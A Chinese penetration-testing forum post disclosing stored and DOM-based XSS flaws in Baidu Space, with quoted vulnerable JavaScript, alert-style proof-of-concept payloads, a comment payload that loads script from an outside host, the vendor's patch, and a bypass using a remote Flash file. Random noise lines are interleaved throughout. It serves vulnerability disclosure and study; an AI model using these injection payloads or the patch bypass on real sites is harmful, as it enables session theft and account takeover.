中国网络渗透测试联盟
标题:
hi.baidu Xss 漏洞
[打印本页]
作者:
admin
时间:
2013-8-24 11:51
标题:
hi.baidu Xss 漏洞
百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.
8 x) _8 c! I) A3 l8 w- ]+ _) g4 A" q0 j
1 D; X, H2 y) _6 O: w) F# r' u
1.在
http://hi.baidu.com/p__z/modify/sppet
中,用户可以输入留言管理,提交后,未过滤直接储存.
; h1 d4 D5 U: o+ c" G8 Q
2.在
http://hi.baidu.com/ui/scripts/pet/pet.js
中
) @2 r8 l+ g. Y1 m. b6 |
" J+ a, D4 K+ J) Z5 V- g# R
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>
% T4 P' F' i" ^8 D4 @& F
其中BdUtil.insertWBR为
+ d% W5 C0 m5 w
function(text, step) {
' H9 }/ R! y6 y) g6 _/ Y1 J
var textarea = textAreaCache || getContainer();
l' V+ d# r$ e+ L" I
if (!textarea) {
* |* T% E7 e6 |% q2 K( ~
return text;
. }& q& b! S- S! y. `
}
1 ?7 D- B R9 x, y" F, U' Q) X
textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");
: a5 I3 K8 b& V# h, b% t# o, o
var string = textarea.value;
0 ]* A* p8 Q$ _! Z
var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");
6 |. d4 Z3 `; Y8 `
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");
: X$ i" n$ @; k3 \8 Y
return result;
3 [% D5 m6 c7 r! }: g
}
! _" [1 V; |+ `/ q+ v3 Z, G" q+ h/ j
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.
4 Q; ^4 A7 F' N- c2 E' G! r
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>
G; T& {% w$ L. f4 D3 q# W, k
& r" |: s6 X, d0 D) W! U
二:creatbgmusic() Dom-Xss Bug
2 \' E$ L9 }5 \
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞
; V' z$ }# p' D' o
+ x: n3 @( R6 z* a& x
在
http://hi.baidu.com//js/bgmusic.js?v=1.0.js
代码:
% v$ u: m" y5 p/ c2 a) j6 s8 k0 f
( m: a9 O7 V# v& G0 G; h; S, L/ U+ \
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {
/ o p' L* J8 j$ H: T) y
//传入的murl赋值到bgmusic1和bgmusic2中
2 r+ V9 p% H3 N7 J& y
//可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
- k" g1 A8 d; r: g# |
var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";
0 ~3 ^6 }0 y6 h) n
if (musicnum <= 1) {
' t7 {; q5 W& T' _! p8 I! H
bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
, Y& g& t% H0 r, s0 ?2 U
}
' `5 x# f$ V+ N# r
bgmusic1 += "</OBJECT>";
/ T# L2 W) _: ^5 b! P2 _& @
var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";
3 ?" [ E. ]: E5 V4 V
if (musicnum <= 1) {
4 |, y- [+ t2 [- l
bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";
! Y, L8 D. I: W
}
1 Z/ N. g* m3 I$ n; _9 c! m7 }1 Z3 B
bgmusic2 += "> </EMBED>";
. u0 m3 G8 l! V: ^0 H9 I1 O, |2 s5 c
var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";
; o7 `1 X! J5 ~1 g
var bgmus = detectWMP();
# g. c5 x! D3 O& s
if (functype == "FckMusicHelper") {
9 A8 a8 I1 {- V! w% H0 z
if (bgmus.installed) {
! C: A* O1 X3 X/ O2 Y
if (bgmus.type == "IE") {
2 r; t# R6 [5 ~
return bgmusic1;
( ]! N! x) x- ~* p
} else if (bgmus.type == "NS") {
" @& ^( |% d7 ]( b
return bgmusic2;
( q, O- D7 O8 `- H9 P* s% J
}
( e0 u+ Y; o& |$ w. d
} else {
* I- b1 u9 x& K7 W% H$ X
return bgmusic3;
: |; v4 N9 N, G& r
}
* I* E" J& h* f# N6 [5 {" F1 Y- R
} else {
) V- {" u) y% ~0 e) V0 _1 x# r
if (bgmus.installed) {
4 ?8 ~7 n* W6 t9 e5 r
//document.write 直接输出bgmusic变量 导致xss
8 `3 B# S4 S1 R4 v" d0 w
if (bgmus.type == "IE") {
- z5 h! f4 I0 ?1 `! F- g
document.write(bgmusic1);
6 t ~( I& c, l# l" D
} else if (bgmus.type == "NS") {
! J r( a3 p8 m2 Z0 K
document.write(bgmusic2);
2 k; _# p& Z4 V- J/ Z' f2 _
}
% V# H/ E) O) B0 U- e3 [3 z9 I
} else {
! c* H) J& C& | e. F" t/ Z$ ]8 X
document.write(bgmusic3);
5 z$ E- x5 k- z4 m& H+ M9 B
}
$ H' [+ G' Z# T+ t* V
return "";
. x J& m: r5 f8 I7 b: `
}
n- }: G G( ~
}
1 }4 `- } }, l4 m3 [
& P( Y: t! K6 L. N( R0 d0 M. {
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:
" a7 G: E' _8 e' q. L! u: \# k2 p
: O) _! ^5 A1 B9 w
function initBlogTextForFCK(){
; r4 g! I$ T. E9 [
//fck init music
) _9 y6 _; f% ^8 o4 n; {
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}
+ f y r' h! K- @8 A# l
var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组
" ^3 L: S3 W* h3 H5 [* K2 W
var isAutoPlay=true;
; n$ G7 L, K1 v$ _9 ^
for(var i=0,n=imgBox.length;i<n;i++){ //然后遍历.
' ?9 b, V: U. W" ~. B# S
var img=imgBox;
9 L! k6 r; E* e9 F N
if(img.getAttribute(’rel’)){
& t+ ^; P7 ~; e4 J6 B
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc
3 y4 @) J/ b0 G8 |
var musicDiv = document.createElement("SPAN");
0 X) _1 G6 o% x3 G4 E
var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
4 M' r! v+ S* `+ `
; U: s, K6 K6 | e# x
..........................
. N# `& R" J2 N# I/ d) `; [
. s0 i. m% \6 G7 G/ G; L6 p/ ~) F
//直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.
* h' A% i1 i* D/ g4 A9 C
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
7 ], Q5 ^2 Z$ A) Z
shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv);
7 i- g( m/ O) D; x6 ?. D
musicDiv.innerHTML=shtml;
7 f8 d1 T @, Q3 s2 H
i--;n--;
' z$ \5 V& J5 g; }0 |+ h3 n
}
6 G- e4 O' C% L2 `" y+ c4 n1 B' }
}
; X9 @- H$ e% t
0 b8 h z! u @- Z% q2 K$ D; X
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.
( Y( D# F2 v( R
! O2 Y3 T! M* c) Z% u
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>
( `% F9 P- ~, @2 U, H3 u4 b
9 \6 i9 h! \$ r" j0 K
等待官方补丁
" u6 ^0 O$ o5 M+ z' a4 o, E
7 q% F) Q) g( x, k8 z$ ~
update 2010年5月13日
4 r- D9 v9 I0 H# i0 D% T9 P
2 J8 K1 Z+ f1 @1 j. \! f9 R$ s
官方补丁:
+ `& b! ? l" z! D5 _. [% k& n
$ Y* |. Y# }! M( I5 S# Q# `
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
' T) Y4 |3 n4 N5 `( J0 Q7 a
改为:
, e8 E9 a& |! S: _" G6 ]
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);
/ R5 w4 f; [ P
! j3 Z% ` z" a; m) e$ ]- \, n$ |
update 2010年5月13日 21:50:37
3 F. @4 C( o, z5 |2 o" |; x! P
+ G8 I& k. p4 |4 N# `
补丁存在漏洞 没有过滤" 可以继续跨:
v/ @" ]' W1 C- S/ B7 @: h+ ?
" c& @' N; R. H! `( j6 J% e
NEW POC:
7 }2 h/ R V- b/ v$ A
4 }+ D! R- i. x5 B
<img width="200" height="45" _fcksavedurl="
http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif
" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’
http://www.xsser.net/pz/js.swf
"
7 M& v: V5 g3 Y; h
6 @% |( a' w7 F) A2 e% @& Q7 G
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
+ p% v, X) X0 l9 j
. \6 t& @% l8 K( G% p6 v; }
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2